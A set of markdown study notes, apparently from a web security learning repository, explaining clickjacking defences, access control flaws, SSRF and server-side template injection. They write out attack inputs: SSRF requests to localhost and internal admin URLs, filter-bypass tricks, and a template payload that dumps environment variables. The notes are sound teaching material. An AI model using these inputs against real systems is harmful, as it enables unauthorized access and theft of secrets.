Clickjacking is a browser-side behavior and its success or otherwise depends upon browser functionality and conformity to prevailing web standards and best practice. Server-side protection against clickjacking is provided by defining and communicating constraints over the use of components such as iframes. However, implementation of protection depends upon browser compliance and enforcement of these constraints. Two mechanisms for server-side clickjacking protection are X-Frame-Options and Content Security Policy. 91 | ```` 92 | ### X-Frame-Options 93 | ```` 94 | X-Frame-Options was originally introduced as an unofficial response header in Internet Explorer 8 and it was rapidly adopted within other browsers. 95 | The header provides the website owner with control over the use of iframes or objects so that inclusion of a web page within a frame can be prohibited with the deny directive: 96 | 97 | X-Frame-Options: deny 98 | 99 | Alternatively, framing can be restricted to the same origin as the website using the sameorigin directive 100 | 101 | X-Frame-Options: sameorigin 102 | 103 | or to a named website using the allow-from directive: 104 | 105 | X-Frame-Options: allow-from https://normal-website.com 106 | 107 | X-Frame-Options is not implemented consistently across browsers (the allow-from directive is not supported in Chrome version 76 or Safari 12 for example). 108 | However, when properly applied in conjunction with Content Security Policy as part of a multi-layer defense strategy it can provide effective protection against clickjacking attacks. 109 | ```` 110 | ### Content Security Policy (CSP) 111 | ```` 112 | Content Security Policy (CSP) is a detection and prevention mechanism that provides mitigation against attacks such as XSS and clickjacking. 113 | CSP is usually implemented in the web server as a return header of the form: 114 | 115 | Content-Security-Policy: policy 116 | 117 | where policy is a string of policy directives separated by semicolons. The CSP provides the client browser with information about permitted sources of web resources that the browser can apply to the detection and interception of malicious behaviors. 118 | 119 | The recommended clickjacking protection is to incorporate the frame-ancestors directive in the application's Content Security Policy. 120 | The frame-ancestors 'none' directive is similar in behavior to the X-Frame-Options deny directive. 121 | The frame-ancestors 'self' directive is broadly equivalent to the X-Frame-Options sameorigin directive. The following CSP whitelists frames to the same domain only: 122 | 123 | Content-Security-Policy: frame-ancestors 'self'; 124 | 125 | Alternatively, framing can be restricted to named sites: 126 | 127 | Content-Security-Policy: frame-ancestors normal-website.com; 128 | 129 | To be effective against clickjacking and XSS, CSPs need careful development, implementation and testing and should be used as part of a multi-layer defense strategy. 130 | ```` 131 | ### What is CSP (content security policy) ? 132 | ```` 133 | CSP is a browser security mechanism that aims to mitigate XSS and some other attacks. It works by restricting the resources (such as scripts and images) that a page can load and restricting whether a page can be framed by other pages. 134 | 135 | To enable CSP, a response needs to include an HTTP response header called Content-Security-Policy with a value containing the policy. The policy itself consists of one or more directives, separated by semicolons. 136 | ```` 137 | ### Protecting against clickjacking using CSP 138 | ```` 139 | The following directive will only allow the page to be framed by other pages from the same origin: 140 | 141 | frame-ancestors 'self' 142 | 143 | The following directive will prevent framing altogether: 144 | 145 | frame-ancestors 'none' 146 | 147 | Using content security policy to prevent clickjacking is more flexible than using the X-Frame-Options header because you can specify multiple domains and use wildcards. For example: 148 | 149 | frame-ancestors 'self' https://normal-website.com https://*.robust-website.com 150 | 151 | CSP also validates each frame in the parent frame hierarchy, whereas X-Frame-Options only validates the top-level frame. 152 | 153 | Using CSP to protect against clickjacking attacks is recommended. You can also combine this with the X-Frame-Options header to provide protection on older browsers that don't support CSP, such as Internet Explorer. 154 | ```` -------------------------------------------------------------------------------- /days/day26.md: -------------------------------------------------------------------------------- 1 | ### Access control vulnerabilities and privilege escalation 2 | ### What is access control ? 3 | ```` 4 | Access control (or authorization) is the application of constraints on who (or what) can perform attempted actions or access resources that they have requested. In the context of web applications, access control is dependent on authentication and session management: 5 | 6 | Authentication identifies the user and confirms that they are who they say they are. 7 | Session management identifies which subsequent HTTP requests are being made by that same user. 8 | Access control determines whether the user is allowed to carry out the action that they are attempting to perform. 9 | Broken access controls are a commonly encountered and often critical security vulnerability. Design and management of access controls is a complex and dynamic problem that applies business, organizational, and legal constraints to a technical implementation. Access control design decisions have to be made by humans, not technology, and the potential for errors is high. 10 | 11 | From a user perspective, access controls can be divided into the following categories: 12 | 13 | * Vertical access controls 14 | * Horizontal access controls 15 | * Context-dependent access controls 16 | ```` 17 | ### Vertical access controls 18 | ```` 19 | Vertical access controls are mechanisms that restrict access to sensitive functionality that is not available to other types of users. 20 | 21 | With vertical access controls, different types of users have access to different application functions. For example, an administrator might be able to modify or delete any user's account, while an ordinary user has no access to these actions. Vertical access controls can be more fine-grained implementations of security models designed to enforce business policies such as separation of duties and least privilege. 22 | ```` 23 | ### Horizontal access controls 24 | ```` 25 | Horizontal access controls are mechanisms that restrict access to resources to the users who are specifically allowed to access those resources. 26 | 27 | With horizontal access controls, different users have access to a subset of resources of the same type. For example, a banking application will allow a user to view transactions and make payments from their own accounts, but not the accounts of any other user. 28 | ```` 29 | ### Context-dependent access controls 30 | ```` 31 | Context-dependent access controls restrict access to functionality and resources based upon the state of the application or the user's interaction with it. 32 | 33 | Context-dependent access controls prevent a user performing actions in the wrong order. For example, a retail website might prevent users from modifying the contents of their shopping cart after they have made payment. 34 | ```` 35 | ### Examples of broken access controls 36 | ```` 37 | Broken access control vulnerabilities exist when a user can in fact access some resource or perform some action that they are not supposed to be able to access. 38 | ```` 39 | ### Vertical privilege escalation 40 | ```` 41 | If a user can gain access to functionality that they are not permitted to access then this is vertical privilege escalation. For example, if a non-administrative user can in fact gain access to an admin page where they can delete user accounts, then this is vertical privilege escalation. 42 | ```` 43 | ### Unprotected functionality 44 | ```` 45 | At its most basic, vertical privilege escalation arises where an application does not enforce any protection over sensitive functionality. For example, administrative functions might be linked from an administrator's welcome page but not from a user's welcome page. However, a user might simply be able to access the administrative functions by browsing directly to the relevant admin URL. 46 | 47 | For example, a website might host sensitive functionality at the following URL: 48 | 49 | https://insecure-website.com/admin 50 | 51 | This might in fact be accessible by any user, not only administrative users who have a link to the functionality in their user interface. In some cases, the administrative URL might be disclosed in other locations, such as the robots.txt file: 52 | 53 | https://insecure-website.com/robots.txt 54 | 55 | Even if the URL isn't disclosed anywhere, an attacker may be able to use a wordlist to brute-force the location of the sensitive functionality. 56 | 57 | In some cases, sensitive functionality is not robustly protected but is concealed by giving it a less predictable URL: so called security by obscurity. Merely hiding sensitive functionality does not provide effective access control since users might still discover the obfuscated URL in various ways. 58 | 59 | For example, consider an application that hosts administrative functions at the following URL: 60 | 61 | https://insecure-website.com/administrator-panel-yb556 62 | 63 | This might not be directly guessable by an attacker. However, the application might still leak the URL to users. For example, the URL might be disclosed in JavaScript that constructs the user interface based on the user's role: 64 | 65 | 75 | 76 | This script adds a link to the user's UI if they are an admin user. However, the script containing the URL is visible to all users regardless of their role. 77 | ```` 78 | ### Parameter-based access control methods 79 | ```` 80 | Some applications determine the user's access rights or role at login, and then store this information in a user-controllable location, such as a hidden field, cookie, or preset query string parameter. 81 | The application makes subsequent access control decisions based on the submitted value. For example: 82 | 83 | https://insecure-website.com/login/home.jsp?admin=true 84 | https://insecure-website.com/login/home.jsp?role=1 85 | 86 | This approach is fundamentally insecure because a user can simply modify the value and gain access to functionality to which they are not authorized, such as administrative functions. 87 | ```` 88 | ### Broken access control resulting from platform misconfiguration 89 | ```` 90 | Some applications enforce access controls at the platform layer by restricting access to specific URLs and HTTP methods based on the user's role. 91 | For example an application might configure rules like the following: 92 | 93 | DENY: POST, /admin/deleteUser, managers 94 | 95 | This rule denies access to the POST method on the URL /admin/deleteUser, for users in the managers group. 96 | Various things can go wrong in this situation, leading to access control bypasses. 97 | 98 | Some application frameworks support various non-standard HTTP headers that can be used to override the URL in the original request, such as X-Original-URL and X-Rewrite-URL. 99 | If a web site uses rigorous front-end controls to restrict access based on URL, but the application allows the URL to be overridden via a request header, then it might be possible to bypass the access controls using a request like the following: 100 | 101 | POST / HTTP/1.1 102 | X-Original-URL: /admin/deleteUser 103 | 104 | An alternative attack can arise in relation to the HTTP method used in the request. The front-end controls above restrict access based on the URL and HTTP method. 105 | Some web sites are tolerant of alternate HTTP request methods when performing an action. 106 | If an attacker can use the GET (or another) method to perform actions on a restricted URL, then they can circumvent the access control that is implemented at the platform layer. 107 | ```` 108 | ### Horizontal privilege escalation 109 | ```` 110 | Horizontal privilege escalation arises when a user is able to gain access to resources belonging to another user, instead of their own resources of that type. 111 | For example, if an employee should only be able to access their own employment and payroll records, but can in fact also access the records of other employees, then this is horizontal privilege escalation. 112 | 113 | Horizontal privilege escalation attacks may use similar types of exploit methods to vertical privilege escalation. 114 | For example, a user might ordinarily access their own account page using a URL like the following: 115 | 116 | https://insecure-website.com/myaccount?id=123 117 | 118 | Now, if an attacker modifies the id parameter value to that of another user, then the attacker might gain access to another user's account page, with associated data and functions. 119 | 120 | In some applications, the exploitable parameter does not have a predictable value. For example, instead of an incrementing number, an application might use globally unique identifiers (GUIDs) to identify users. 121 | Here, an attacker might be unable to guess or predict the identifier for another user. However, the GUIDs belonging to other users might be disclosed elsewhere in the application where users are referenced, such as user messages or reviews. 122 | 123 | In some cases, an application does detect when the user is not permitted to access the resource, and returns a redirect to the login page. 124 | However, the response containing the redirect might still include some sensitive data belonging to the targeted user, so the attack is still successful. 125 | ```` 126 | ### Insecure direct object references 127 | ```` 128 | Insecure direct object references (IDOR) are a subcategory of access control vulnerabilities. IDOR arises when an application uses user-supplied input to access objects directly and an attacker can modify the input to obtain unauthorized access. 129 | It was popularized by its appearance in the OWASP 2007 Top Ten although it is just one example of many implementation mistakes that can lead to access controls being circumvented. 130 | ```` 131 | ### Access control vulnerabilities in multi-step processes 132 | ```` 133 | Many web sites implement important functions over a series of steps. This is often done when a variety of inputs or options need to be captured, or when the user needs to review and confirm details before the action is performed. 134 | For example, administrative function to update user details might involve the following steps: 135 | 136 | 1. Load form containing details for a specific user. 137 | 2. Submit changes. 138 | 3. Review the changes and confirm. 139 | 140 | Sometimes, a web site will implement rigorous access controls over some of these steps, but ignore others. 141 | For example, suppose access controls are correctly applied to the first and second steps, but not to the third step. 142 | Effectively, the web site assumes that a user will only reach step 3 if they have already completed the first steps, which are properly controlled. 143 | Here, an attacker can gain unauthorized access to the function by skipping the first two steps and directly submitting the request for the third step with the required parameters. 144 | ```` 145 | ### Referer-based access control 146 | ```` 147 | Some websites base access controls on the Referer header submitted in the HTTP request. The Referer header is generally added to requests by browsers to indicate the page from which a request was initiated. 148 | 149 | For example, suppose an application robustly enforces access control over the main administrative page at /admin, but for sub-pages such as /admin/deleteUser only inspects the Referer header. 150 | If the Referer header contains the main /admin URL, then the request is allowed. 151 | 152 | In this situation, since the Referer header can be fully controlled by an attacker, they can forge direct requests to sensitive sub-pages, supplying the required Referer header, and so gain unauthorized access. 153 | ```` 154 | ### Location-based access control 155 | ```` 156 | Some web sites enforce access controls over resources based on the user's geographical location. 157 | This can apply, for example, to banking applications or media services where state legislation or business restrictions apply. 158 | These access controls can often be circumvented by the use of web proxies, VPNs, or manipulation of client-side geolocation mechanisms. 159 | ```` 160 | ### How to prevent access control vulnerabilities 161 | ```` 162 | Access control vulnerabilities can generally be prevented by taking a defense-in-depth approach and applying the following principles: 163 | 164 | * Never rely on obfuscation alone for access control. 165 | * Unless a resource is intended to be publicly accessible, deny access by default. 166 | * Wherever possible, use a single application-wide mechanism for enforcing access controls. 167 | * At the code level, make it mandatory for developers to declare the access that is allowed for each resource, and deny access by default. 168 | * Thoroughly audit and test access controls to ensure they are working as designed. 169 | ```` -------------------------------------------------------------------------------- /days/day12.md: -------------------------------------------------------------------------------- 1 | # day12 2 | 3 | ## What is SSRF ? 4 | 5 | ```text 6 | Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side 7 | application to make HTTP requests to an arbitrary domain of the attacker's choosing. 8 | 9 | In typical SSRF examples, the attacker might cause the server to make a connection back to itself, or to other web-based services within the organization's infrastructure, or to external third-party systems. 10 | ``` 11 | 12 | ## What is the impact of SSRF attacks? 13 | 14 | ```text 15 | A successful SSRF attack can often result in unauthorized actions or access to data within the organization, either in the vulnerable application itself or on other back-end systems that the application can communicate with. 16 | In some situations, the SSRF vulnerability might allow an attacker to perform arbitrary command execution. 17 | 18 | An SSRF exploit that causes connections to external third-party systems might result in malicious onward attacks that appear to originate from the organization hosting the vulnerable application, leading to potential legal liabilities and reputational damage. 19 | ``` 20 | 21 | ## Common SSRF attacks 22 | 23 | ```text 24 | SSRF attacks often exploit trust relationships to escalate an attack from the vulnerable application and perform unauthorized actions. These trust relationships might exist in relation to the server itself, or in relation to other back-end systems within the same organization. 25 | ``` 26 | 27 | ## SSRF attacks against the server itself 28 | 29 | ```text 30 | In an SSRF attack against the server itself, the attacker induces the application to make an HTTP request back to the server that is hosting the application, via its loopback network interface. 31 | This will typically involve supplying a URL with a hostname like 127.0.0.1 (a reserved IP address that points to the loopback adapter) or localhost (a commonly used name for the same adapter). 32 | 33 | For example, consider a shopping application that lets the user view whether an item is in stock in a particular store. 34 | To provide the stock information, the application must query various back-end REST APIs, dependent on the product and store in question. 35 | The function is implemented by passing the URL to the relevant back-end API endpoint via a front-end HTTP request. So when a user views the stock status for an item, their browser makes a request like this: 36 | 37 | POST /product/stock HTTP/1.0 38 | Content-Type: application/x-www-form-urlencoded 39 | Content-Length: 118 40 | 41 | stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1 42 | 43 | This causes the server to make a request to the specified URL, retrieve the stock status, and return this to the user. 44 | 45 | In this situation, an attacker can modify the request to specify a URL local to the server itself. For example: 46 | 47 | POST /product/stock HTTP/1.0 48 | Content-Type: application/x-www-form-urlencoded 49 | Content-Length: 118 50 | 51 | stockApi=http://localhost/admin 52 | 53 | Here, the server will fetch the contents of the /admin URL and return it to the user. 54 | 55 | Now of course, the attacker could just visit the /admin URL directly. But the administrative functionality is ordinarily accessible only to suitable authenticated users. So an attacker who simply visits the URL directly won't see anything of interest. 56 | However, when the request to the /admin URL comes from the local machine itself, the normal access controls are bypassed. 57 | The application grants full access to the administrative functionality, because the request appears to originate from a trusted location. 58 | 59 | Why do applications behave in this way, and implicitly trust requests that come from the local machine? This can arise for various reasons: 60 | 61 | The access control check might be implemented in a different component that sits in front of the application server. When a connection is made back to the server itself, the check is bypassed. 62 | For disaster recovery purposes, the application might allow administrative access without logging in, to any user coming from the local machine. 63 | This provides a way for an administrator to recover the system in the event they lose their credentials. The assumption here is that only a fully trusted user would be coming directly from the server itself. 64 | The administrative interface might be listening on a different port number than the main application, and so might not be reachable directly by users. 65 | 66 | These kind of trust relationships, where requests originating from the local machine are handled differently than ordinary requests, is often what makes SSRF into a critical vulnerability. 67 | ``` 68 | 69 | ## SSRF attacks against other back-end systems 70 | 71 | ```text 72 | Another type of trust relationship that often arises with server-side request forgery is where the application server is able to interact with other back-end systems that are not directly reachable by users. 73 | These systems often have non-routable private IP addresses. Since the back-end systems are normally protected by the network topology, they often have a weaker security posture. 74 | In many cases, internal back-end systems contain sensitive functionality that can be accessed without authentication by anyone who is able to interact with the systems. 75 | 76 | In the preceding example, suppose there is an administrative interface at the back-end URL https://192.168.0.68/admin. 77 | Here, an attacker can exploit the SSRF vulnerability to access the administrative interface by submitting the following request: 78 | 79 | POST /product/stock HTTP/1.0 80 | Content-Type: application/x-www-form-urlencoded 81 | Content-Length: 118 82 | 83 | stockApi=http://192.168.0.68/admin 84 | ``` 85 | 86 | ## Circumventing common SSRF defenses 87 | 88 | ```text 89 | It is common to see applications containing SSRF behavior together with defenses aimed at preventing malicious exploitation. Often, these defenses can be circumvented. 90 | 91 | SSRF with blacklist-based input filters 92 | Some applications block input containing hostnames like 127.0.0.1 and localhost, or sensitive URLs like /admin. In this situation, you can often circumvent the filter using various techniques: 93 | 94 | * Using an alternative IP representation of 127.0.0.1, such as 2130706433, 017700000001, or 127.1. 95 | * Registering your own domain name that resolves to 127.0.0.1. You can use spoofed.burpcollaborator.net for this purpose. 96 | * Obfuscating blocked strings using URL encoding or case variation. 97 | ``` 98 | 99 | ## SSRF with whitelist-based input filters 100 | 101 | ```text 102 | Some applications only allow input that matches, begins with, or contains, a whitelist of permitted values. 103 | In this situation, you can sometimes circumvent the filter by exploiting inconsistencies in URL parsing. 104 | 105 | The URL specification contains a number of features that are liable to be overlooked when implementing ad hoc parsing and validation of URLs: 106 | 107 | You can embed credentials in a URL before the hostname, using the @ character. For example: https://expected-host@evil-host. 108 | You can use the # character to indicate a URL fragment. For example: https://evil-host#expected-host. 109 | You can leverage the DNS naming hierarchy to place required input into a fully-qualified DNS name that you control. For example: https://expected-host.evil-host. 110 | You can URL-encode characters to confuse the URL-parsing code. This is particularly useful if the code that implements the filter handles URL-encoded characters differently than the code that performs the back-end HTTP request. 111 | You can use combinations of these techniques together. 112 | ``` 113 | 114 | ## Bypassing SSRF filters via open redirection 115 | 116 | ```text 117 | It is sometimes possible to circumvent any kind of filter-based defenses by exploiting an open redirection vulnerability. 118 | 119 | In the preceding SSRF example, suppose the user-submitted URL is strictly validated to prevent malicious exploitation of the SSRF behavior. However, the application whose URLs are allowed contains an open redirection vulnerability. Provided the API used to make the back-end HTTP request supports redirections, you can construct a URL that satisfies the filter and results in a redirected request to the desired back-end target. 120 | 121 | For example, suppose the application contains an open redirection vulnerability in which the following URL: 122 | 123 | /product/nextProduct?currentProductId=6&path=http://evil-user.net 124 | 125 | returns a redirection to: 126 | 127 | http://evil-user.net 128 | 129 | You can leverage the open redirection vulnerability to bypass the URL filter, and exploit the SSRF vulnerability as follows: 130 | 131 | POST /product/stock HTTP/1.0 132 | Content-Type: application/x-www-form-urlencoded 133 | Content-Length: 118 134 | 135 | stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin 136 | 137 | This SSRF exploit works because the application first validates that the supplied stockAPI URL is on an allowed domain, which it is. The application then requests the supplied URL, which triggers the open redirection. It follows the redirection, and makes a request to the internal URL of the attacker's choosing 138 | ``` 139 | 140 | ## Blind SSRF vulnerabilities 141 | 142 | ```text 143 | Blind SSRF vulnerabilities arise when an application can be induced to issue a back-end HTTP request to a supplied URL, but the response from the back-end request is not returned in the application's front-end response. 144 | 145 | Blind SSRF is generally harder to exploit but can sometimes lead to full remote code execution on the server or other back-end components. 146 | ``` 147 | 148 | ## What is the impact of blind SSRF vulnerabilities? 149 | 150 | ```text 151 | The impact of blind SSRF vulnerabilities is often lower than fully informed SSRF vulnerabilities because of their one-way nature. They cannot be trivially exploited to retrieve sensitive data from back-end systems, although in some situations they can be exploited to achieve full remote code execution. 152 | ``` 153 | 154 | ## Finding hidden attack surface for SSRF vulnerabilities 155 | 156 | ```text 157 | Many server-side request forgery vulnerabilities are relatively easy to spot, because the application's normal traffic involves request parameters containing full URLs. 158 | Other examples of SSRF are harder to locate. 159 | ``` 160 | 161 | ## Partial URLs in requests 162 | 163 | ```text 164 | Sometimes, an application places only a hostname or part of a URL path into request parameters. 165 | The value submitted is then incorporated server-side into a full URL that is requested. 166 | If the value is readily recognized as a hostname or URL path, then the potential attack surface might be obvious. 167 | However, exploitability as full SSRF might be limited since you do not control the entire URL that gets requested. 168 | ``` 169 | 170 | ## URLs within data formats 171 | 172 | ```text 173 | Some applications transmit data in formats whose specification allows the inclusion of URLs that might get requested by the data parser for the format. 174 | An obvious example of this is the XML data format, which has been widely used in web applications to transmit structured data from the client to the server. 175 | When an application accepts data in XML format and parses it, it might be vulnerable to XXE injection, and in turn be vulnerable to SSRF via XXE. 176 | ``` 177 | 178 | ## SSRF via the Referer header 179 | 180 | ```text 181 | Some applications employ server-side analytics software that tracks visitors. This software often logs the Referer header in requests, since this is of particular interest for tracking incoming links. 182 | Often the analytics software will actually visit any third-party URL that appears in the Referer header. 183 | This is typically done to analyze the contents of referring sites, including the anchor text that is used in the incoming links. 184 | As a result, the Referer header often represents fruitful attack surface for SSRF vulnerabilities. See Blind SSRF vulnerabilities for examples of vulnerabilities involving the Referer header. 185 | ``` 186 | 187 | ## Blind SSRF vulnerabilities 188 | 189 | ```text 190 | Blind SSRF vulnerabilities arise when an application can be induced to issue a back-end HTTP request to a supplied URL, but the response from the back-end request is not returned in the application's front-end response. 191 | 192 | Blind SSRF is generally harder to exploit but can sometimes lead to full remote code execution on the server or other back-end components. 193 | ``` 194 | 195 | ## Finding hidden attack surface for SSRF vulnerabilities 196 | 197 | ```text 198 | Many server-side request forgery vulnerabilities are relatively easy to spot, because the application's normal traffic involves request parameters containing full URLs. 199 | Other examples of SSRF are harder to locate. 200 | ``` 201 | 202 | ## Partial URLs in requests 203 | 204 | ```text 205 | Sometimes, an application places only a hostname or part of a URL path into request parameters. 206 | The value submitted is then incorporated server-side into a full URL that is requested. 207 | If the value is readily recognized as a hostname or URL path, then the potential attack surface might be obvious. 208 | However, exploitability as full SSRF might be limited since you do not control the entire URL that gets requested. 209 | ``` 210 | 211 | ## URLs within data formats 212 | 213 | ```text 214 | Some applications transmit data in formats whose specification allows the inclusion of URLs that might get requested by the data parser for the format. 215 | An obvious example of this is the XML data format, which has been widely used in web applications to transmit structured data from the client to the server. When an application accepts data in XML format and parses it, it might be vulnerable to XXE injection, and in turn be vulnerable to SSRF via XXE. 216 | ``` 217 | 218 | ## SSRF via the Referer header 219 | 220 | ```text 221 | Some applications employ server-side analytics software that tracks visitors. This software often logs the Referer header in requests, since this is of particular interest for tracking incoming links. 222 | Often the analytics software will actually visit any third-party URL that appears in the Referer header. 223 | This is typically done to analyze the contents of referring sites, including the anchor text that is used in the incoming links. 224 | As a result, the Referer header often represents fruitful attack surface for SSRF vulnerabilities. 225 | ``` 226 | 227 | -------------------------------------------------------------------------------- /days/day16.md: -------------------------------------------------------------------------------- 1 | ### What is server-side template injection? 2 | ```` 3 | Server-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side. 4 | 5 | Template engines are designed to generate web pages by combining fixed templates with volatile data. 6 | Server-side template injection attacks can occur when user input is concatenated directly into a template, rather than passed in as data. 7 | This allows attackers to inject arbitrary template directives in order to manipulate the template engine, often enabling them to take complete control of the server. 8 | As the name suggests, server-side template injection payloads are delivered and evaluated server-side, potentially making them much more dangerous than a typical client-side template injection. 9 | ```` 10 | ### What is the impact of server-side template injection? 11 | ```` 12 | Server-side template injection vulnerabilities can expose websites to a variety of attacks depending on the template engine in question and how exactly the application uses it. 13 | In certain rare circumstances, these vulnerabilities pose no real security risk. However, most of the time, the impact of server-side template injection can be catastrophic. 14 | 15 | At the severe end of the scale, an attacker can potentially achieve remote code execution, taking full control of the back-end server and using it to perform other attacks on internal infrastructure. 16 | 17 | Even in cases where full remote code execution is not possible, an attacker can often still use server-side template injection as the basis for numerous other attacks, potentially gaining read access to sensitive data and arbitrary files on the server. 18 | ```` 19 | ### How do server-side template injection vulnerabilities arise? 20 | ```` 21 | Server-side template injection vulnerabilities arise when user input is concatenated into templates rather than being passed in as data. 22 | 23 | Static templates that simply provide placeholders into which dynamic content is rendered are generally not vulnerable to server-side template injection. 24 | The classic example is an email that greets each user by their name, such as the following extract from a Twig template: 25 | 26 | $output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name) ); 27 | 28 | This is not vulnerable to server-side template injection because the user's first name is merely passed into the template as data. 29 | 30 | However, as templates are simply strings, web developers sometimes directly concatenate user input into templates prior to rendering. 31 | Let's take a similar example to the one above, but this time, users are able to customize parts of the email before it is sent. 32 | For example, they might be able to choose the name that is used: 33 | 34 | $output = $twig->render("Dear " . $_GET['name']); 35 | 36 | In this example, instead of a static value being passed into the template, part of the template itself is being dynamically generated using the GET parameter name. 37 | As template syntax is evaluated server-side, this potentially allows an attacker to place a server-side template injection payload inside the name parameter as follows: 38 | 39 | http://vulnerable-website.com/?name={{bad-stuff-here}} 40 | 41 | Vulnerabilities like this are sometimes caused by accident due to poor template design by people unfamiliar with the security implications. 42 | Like in the example above, you may see different components, some of which contain user input, concatenated and embedded into a template. 43 | In some ways, this is similar to SQL injection vulnerabilities occurring in poorly written prepared statements. 44 | 45 | However, sometimes this behavior is actually implemented intentionally. For example, some websites deliberately allow certain privileged users, such as content editors, to edit or submit custom templates by design. 46 | This clearly poses a huge security risk if an attacker is able to compromise an account with such privileges 47 | ```` 48 | ### Constructing a server-side template injection attack 49 | ```` 50 | Identifying server-side template injection vulnerabilities and crafting a successful attack 51 | ```` 52 | ### Detect 53 | ```` 54 | Server-side template injection vulnerabilities often go unnoticed not because they are complex but because they are only really apparent to auditors who are explicitly looking for them. If you are able to detect that a vulnerability is present, it can be surprisingly easy to exploit it. This is especially true in unsandboxed environments. 55 | 56 | As with any vulnerability, the first step towards exploitation is being able to find it. Perhaps the simplest initial approach is to try fuzzing the template by injecting a sequence of special characters commonly used in template expressions. If an exception is raised, this indicates that the injected template syntax is potentially being interpreted by the server in some way. This is one sign that a vulnerability to server-side template injection may exist. 57 | 58 | Server-side template injection vulnerabilities occur in two distinct contexts, each of which requires its own detection method. Regardless of the results of your fuzzing attempts, it is important to also try the following context-specific approaches. If fuzzing was inconclusive, a vulnerability may still reveal itself using one of these approaches. Even if fuzzing did suggest a template injection vulnerability, you still need to identify its context in order to exploit it. 59 | ```` 60 | #### Plaintext context 61 | ```` 62 | Most template languages allow you to freely input content either by using HTML tags directly or by using the template's native syntax, which will be rendered to HTML on the back-end before the HTTP response is sent. For example, in Freemarker, the line render('Hello ' + username) would render to something like Hello Carlos. 63 | 64 | This can sometimes be exploited for XSS and is in fact often mistaken for a simple XSS vulnerability. However, by setting mathematical operations as the value of the parameter, we can test whether this is also a potential entry point for a server-side template injection attack. 65 | 66 | For example, consider a template that contains the following vulnerable code: 67 | 68 | render('Hello ' + username) 69 | 70 | During auditing, we might test for server-side template injection by requesting a URL such as: 71 | 72 | http://vulnerable-website.com/?username=${7*7} 73 | 74 | If the resulting output contains Hello 49, this shows that the mathematical operation is being evaluated server-side. This is a good proof of concept for a server-side template injection vulnerability. 75 | 76 | Note that the specific syntax required to successfully evaluate the mathematical operation will vary depending on which template engine is being used. We'll discuss this in more detail in the Identify step. 77 | ```` 78 | #### Code context 79 | ```` 80 | In other cases, the vulnerability is exposed by user input being placed within a template expression, as we saw earlier with our email example. This may take the form of a user-controllable variable name being placed inside a parameter, such as: 81 | 82 | greeting = getQueryParameter('greeting') 83 | engine.render("Hello {{"+greeting+"}}", data) 84 | 85 | On the website, the resulting URL would be something like: 86 | 87 | http://vulnerable-website.com/?greeting=data.username 88 | 89 | This would be rendered in the output to Hello Carlos, for example. 90 | 91 | This context is easily missed during assessment because it doesn't result in obvious XSS and is almost indistinguishable from a simple hashmap lookup. One method of testing for server-side template injection in this context is to first establish that the parameter doesn't contain a direct XSS vulnerability by injecting arbitrary HTML into the value: 92 | 93 | http://vulnerable-website.com/?greeting=data.username 94 | 95 | In the absence of XSS, this will usually either result in a blank entry in the output (just Hello with no username), encoded tags, or an error message. The next step is to try and break out of the statement using common templating syntax and attempt to inject arbitrary HTML after it: 96 | 97 | http://vulnerable-website.com/?greeting=data.username}} 98 | 99 | If this again results in an error or blank output, you have either used syntax from the wrong templating language or, if no template-style syntax appears to be valid, server-side template injection is not possible. Alternatively, if the output is rendered correctly, along with the arbitrary HTML, this is a key indication that a server-side template injection vulnerability is present: 100 | 101 | Hello Carlos 102 | ```` 103 | ### Identify 104 | ```` 105 | Once you have detected the template injection potential, the next step is to identify the template engine. 106 | 107 | Although there are a huge number of templating languages, many of them use very similar syntax that is specifically chosen not to clash with HTML characters. As a result, it can be relatively simple to create probing payloads to test which template engine is being used. 108 | 109 | Simply submitting invalid syntax is often enough because the resulting error message will tell you exactly what the template engine is, and sometimes even which version. For example, the invalid expression <%=foobar%> triggers the following response from the Ruby-based ERB engine: 110 | 111 | (erb):1:in `
': undefined local variable or method `foobar' for main:Object (NameError) 112 | from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval' 113 | from /usr/lib/ruby/2.5.0/erb.rb:876:in `result' 114 | from -e:4:in `
' 115 | 116 | Otherwise, you'll need to manually test different language-specific payloads and study how they are interpreted by the template engine. Using a process of elimination based on which syntax appears to be valid or invalid, you can narrow down the options quicker than you might think. A common way of doing this is to inject arbitrary mathematical operations using syntax from different template engines 117 | ```` 118 | ### Exploiting server-side template injection vulnerabilities 119 | 120 | ### Read 121 | ```` 122 | Unless you already know the template engine inside out, reading its documentation is usually the first place to start. 123 | While this may not be the most exciting way to spend your time, it is important not to underestimate what a useful source of information the documentation can be. 124 | 125 | Learn the basic template syntax 126 | Learning the basic syntax is obviously important, along with key functions and handling of variables. 127 | Even something as simple as learning how to embed native code blocks in the template can sometimes quickly lead to an exploit. 128 | ```` 129 | ### Read about the security implications 130 | ```` 131 | In addition to providing the fundamentals of how to create and use templates, the documentation may also provide some sort of "Security" section. 132 | The name of this section will vary, but it will usually outline all the potentially dangerous things that people should avoid doing with the template. 133 | This can be an invaluable resource, even acting as a kind of cheat sheet for which behaviors you should look for during auditing, as well as how to exploit them. 134 | 135 | Even if there is no dedicated "Security" section, if a particular built-in object or function can pose a security risk, there is almost always a warning of some kind in the documentation. 136 | The warning may not provide much detail, but at the very least it should flag this particular built-in as something to investigate. 137 | ```` 138 | ### Look for known exploits 139 | ```` 140 | Another key aspect of exploiting server-side template injection vulnerabilities is being good at finding additional resources online. 141 | Once you are able to identify the template engine being used, you should browse the web for any vulnerabilities that others may have already discovered. 142 | Due to the widespread use of some of the major template engines, it is sometimes possible to find well-documented exploits that you might be able to tweak to exploit your own target website. 143 | ```` 144 | ### Explore 145 | ```` 146 | At this point, you might have already stumbled across a workable exploit using the documentation. If not, the next step is to explore the environment and try to discover all the objects to which you have access. 147 | 148 | Many template engines expose a "self" or "environment" object of some kind, which acts like a namespace containing all objects, methods, and attributes that are supported by the template engine. 149 | If such an object exists, you can potentially use it to generate a list of objects that are in scope. 150 | 151 | ${T(java.lang.System).getenv()} 152 | 153 | This can form the basis for creating a shortlist of potentially interesting objects and methods to investigate further. 154 | Additionally, for Burp Suite Professional users, the Intruder provides a built-in wordlist for brute-forcing variable names. 155 | ```` 156 | ### Developer-supplied objects 157 | ```` 158 | It is important to note that websites will contain both built-in objects provided by the template and custom, site-specific objects that have been supplied 